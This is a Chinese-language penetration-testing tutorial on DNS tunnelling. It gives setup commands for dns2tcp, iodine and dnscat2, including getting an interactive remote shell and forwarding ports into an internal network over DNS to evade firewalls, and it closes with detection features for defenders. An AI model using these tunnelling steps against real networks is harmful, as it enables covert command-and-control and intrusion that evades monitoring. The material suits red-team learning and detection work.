<
内网渗透-隧道与转发02
>
上一篇

蚁剑动静态免杀初试
下一篇

攻防演练小结
隧道与转发之DNS隧道

0x01 前言

上一节介绍了icmp隧道,这一节介绍另外一种经常会见到的隧道技术-DNS。DNS隧道在工作还是很常见的,好多内网的挖矿都是通过DNS协议去逃避一些检测,而这个技术也是很早就有的,大多数防火墙和入侵检测设备对DNS流量是放行的,在实战中遇到反弹权限不回来,就可以尝试建立dns隧道。

0x02 适用环境

上层协议例如HTTP、HTTPS协议、正反向端口转发都失败时

0x03 前置准备

域名购买:https://www.freenom.com/ 可以白嫖一年

内网主机:kali

公网vps:国内外均可

配置解析记录

第一条NS解析是在告诉域名系统,想要知道“dnstcp.nsccna.ga”的IP地址,就去问“test.nsccna.ga”。

第二条A类解析是在告诉域名系统,“test.nsccna.ga”的IP地址是“xx.xx.xx.xx”。

image-20201119165613188

在cloudflare上设置A记录,是找不到我们自己的主机的,然而免费的域名提供商freenom没找到添加ns记录的地方。最后选择了godaddy.com。

还是按上面设置,然后抓53端口的数据包,看到有内容过来,那么准备工作就做好了。

image-20201204150414726

0x04 工具介绍

4.1 dns2tcp

Dns2tcp是一个通过DNS中继TCP连接的工具。

安装的话,编译安装或者直接apt安装都行

配置服务端

新建一个配置文件,内容如下

cat > ~/.dns2tcp.conf << EOF
	
	listen = x.x.x.x
	port = 53
	user = nobody
	key = whateveryouwant
	chroot = /var/empty/dns2tcp/
	domain = dns2tcp.hsc.fr
	resources = ssh:127.0.0.1:22 ,          smtp:127.0.0.1:25,
	                pop3:10.0.0.1:110, ssh2:[fe80::1664]:22
	EOF

启动服务端

dns2tcpd -f dns2tcp.conf -F -d 2

有时候53端口可能会被systemd-resolved占用掉,所以需要先停止该服务。另外一直报Error socket.c:107 bind error错误,就修改监听地址为0.0.0.0

image-20201204173010566

启动客户端

dns2tcpc -r ssh -z dns2tcp.kxxxxb.xyz -l 2333 -d 2

image-20201204171905077

就可以连接了。

image-20201204171808180

简单解释下命令含义

-F 启动时强制显示在前端

-d debug等级,总共3级

客户端命令

可以通过-h查看详情

抓包看一下详细内容

image-20201207002734444

可以看到大量的dns的txt查询,同时会带着域名。所以在蓝队通过流量分析设备就能发现,估计现在流量检测设备瞬间就报警了。

4.2 iodine

iodine也是一个常用的DNS隧道软件,通过dns传输ipv4数据

github上面有很详细的介绍了,直接apt安装就行

服务端

iodined -f -P YourPassword 172.168.100.1 xx.xx.xx
# -f 开启前台显示
# -P 连接密码,自己设置
# 172.168.100.1 是自设的内网网段 也可用10.10.10.1之类,不和本机冲突就行

客户端

iodine -f -d 隧道名 服务端IP xx.xx.xx

成功后就可以看到网卡多了一个隧道

image-20201207011205187

抓包看了下,发现是直连的。会暴露IP。同时查询是NULL,且会使用不定前缀的子域名

image-20201207013945726

客户端连接命令不加服务端IP,但是这次需要制定之前配置好的域名

image-20201207012458625

4.3 dnscat2

Dnscat2服务端的是交互模式,类似上一篇中的icmpsh工具,通过走dns流量来实现命令控制

安装:服务端需要ruby环境和gem工具,先apt安装一下

gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
bundle install
如果报错请安装ruby-dev
apt install ruby-dev

客户端根据不同环境编译即可,linux下用make编译,windows下用Visual Studio

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

服务端启动命令

ruby ./dnscat2.rb (domain)

执行后,会提示客户端所需要执行的命令,当不加域名时采用直连的方式

image-20201208092417462

启动后可以执行先执行测试

image-20201208093730007

然后客户端执行启动命令即可,连接后服务端会收到一个session

image-20201208094837767

执行session -i 1就可以进入执行命令,可以执行help看下可以执行的命令

image-20201208094942623

执行shell命令后可以返回一个shell session,需要返回到初始页面进行切换

image-20201208095956173

执行session -i 3进入后,就可以获取一个交互式shell

也可以执行listen命令,进行转发类似于ssh

listen 127.0.0.1:2222 10.10.10.10:22  \\监听2222端口,转发到内网10.10.10.10:22上

抓包看下数据流

image-20201208101034100

可以看到是通过不同dns请求来传输数据的

0x05 小结

dns隧道特征同样明显,因为会大量处理相关请求

dns2tcp除了txt还支持key查询,iodine支持多种协议

dnscat2可扩展,支持自定义端口,默认加密

0x06 防御检测

6.1 DNS会话中数据包的总数

正常DNS会话比较简短,随着一次DNS解析任务结束而结束。

DNS隧道木马的会话随着木马的生命周期结束而结束,但在整个木马的生命周期里会向CC服务器发送心跳包,传输信息,资源文件等行为。CC服务器也会发送控制指令。所以在DNS隧道木马的会话中DNS报文数量大。

6.2 隧道消息类型

在正常的DNS流量中。A记录类型的流量占20%-30%,CNAME记录为38%-48%,AAAA记录占25%,NS记录只有5%,TXT记录只有1%-2%。然而为了获取更高的带宽,一部分的DNS隐蔽信道工具如Iodine。在默认配置下会使用TXT或NULL等不常用的记录类型。

6.3 域名固定部分不变

奇奇怪怪的子域名前缀,域名部分不变

0x07 参考文章

DNS 隧道通信特征与检测

Top
Foot